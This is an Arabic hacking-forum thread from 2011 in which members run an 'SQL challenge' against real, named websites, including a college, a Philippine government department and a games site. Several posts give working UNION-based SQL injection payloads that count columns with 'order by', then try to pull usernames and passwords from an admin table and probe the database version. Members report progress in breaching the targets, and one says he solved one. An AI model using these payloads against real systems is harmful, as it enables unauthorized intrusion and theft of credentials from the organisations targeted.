{SQL}تحدي SQL

aircrack -ng · 10-05-2011, 10:04 PM

اقتباس

المشاركة الأصلية كتبت بواسطة CODE3


	الفائز في التحدي الاول هو:المفترس التحدي الثاني مستوى التحدي أصعب من الاول كود PHP: `http://www.galilcol.ac.il/page.asp?id=17`

هههههههههههههههههههه يلزم كيلو ونص تخمين عشان تضهر الاعمده المصابه وبعدها كيلو تخمين عشان تجيب الباس واليوزر

aircrack -ng · 10-05-2011, 10:11 PM

نعطي لمحه على هالنوع من الحقن
هون نستعمل الامر order by عادي
طيب طلع معانا 15 عمود

كود:

http://www.galilcol.ac.il/page.asp?id=17 order by 15

المرحله التانيه لازم نستعمل التخمين عشان تظهر الاعمده المصابه مثلا انا خمنت شوي ومانفع المهم نخمن مثلا هيك

كود:

http://www.galilcol.ac.il/page.asp?id=17 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15+from+administratour

نفرض انو طلع معانا العمود المصاب 5 مكان العمود المصاب نجرب نخمن مثلا password وكمان username

مثلا

كود:

http://www.galilcol.ac.il/page.asp?id=17 UNION SELECT 1,2,3,4,password,6,7,8,9,10,11,12,13,14,15+from+administratour

هذا مجرد مثال

مذكرة الموت · 10-05-2011, 10:20 PM

هههههههههههه حلوه قصه الكيلو يا نسيم

CODE3 · 10-06-2011, 02:52 PM

اقتباس

المشاركة الأصلية كتبت بواسطة مذكرة الموت


	هات غيره هاذا asb سيرفر وندوز غثيث مره جيب موقع ثاني ويا حبذا يكون مستوى hard

الهدف

كود PHP:

  www.dbm.gov.ph/ro/index.php?code=ROVI&pid=288

المستوى:
hard

تحياتي للجميع

EvilGue · 10-06-2011, 03:23 PM

و الله انا مبتدي بس هذا اللي قدرت اوصل له

اقتباس


	http://www.deafcenter.lt/about_new.p...%201,2,3--%20-

الموقع هذا يحقن بالـ error based

لضيق الوقت و الدراسة ما قدرت اعمل شي

تحياتي للجميع =)

المفترس · 10-06-2011, 07:51 PM

صح المستوى hard

ولكن لا يهمك المفترس يفترس كل شيء

تم معرفة العواميد مصابة وجاري التكملة

المفترس · 10-06-2011, 08:50 PM

انا متوقف عند forbiden
وما استطعت تخطيها لكن ساحاول ولو تطلب اشهر

akeles · 10-06-2011, 09:48 PM

مشكورررر أخي

EvilGue · 10-07-2011, 01:44 AM

تم الحل
اعني الموقع الاول ارسلته على الخاص

EvilGue · 10-07-2011, 01:53 AM

ههه باقيلي 35 مشاركة على ما اقدر ارسله لك اشوفك بعدين هذي صورة

EvilGue · 10-07-2011, 02:00 AM

اقتباس

المشاركة الأصلية كتبت بواسطة المفترس


	http://www.segundoidioma.com/page.php?Id=0 موقع سهل لتدريب فيه فقط شيء بسيط تخطوه

أبو محسن · 10-08-2011, 09:56 PM

حقنه المستوى hard

www.yoquierogames.com/games.php?id=98

اصدار الرابع

سلاش · 10-10-2011, 07:05 PM

تم معرفة العواميد المصابه

...............

القاعده اصدارها Play 4.1.22-standard

يعني مالك الا انك تخمن

EvilGue · 10-11-2011, 10:07 AM

هههه كيلو و نص تخمين و ولا شي

http://www.yoquierogames.com/games.php?id=-98 UNION SELECT 1,2,3,version(),5,6,7,8,9,10,11,12,13--

memomohannad · 10-11-2011, 01:26 PM

مشكور اخي الكريم

SQL قواعد البيانات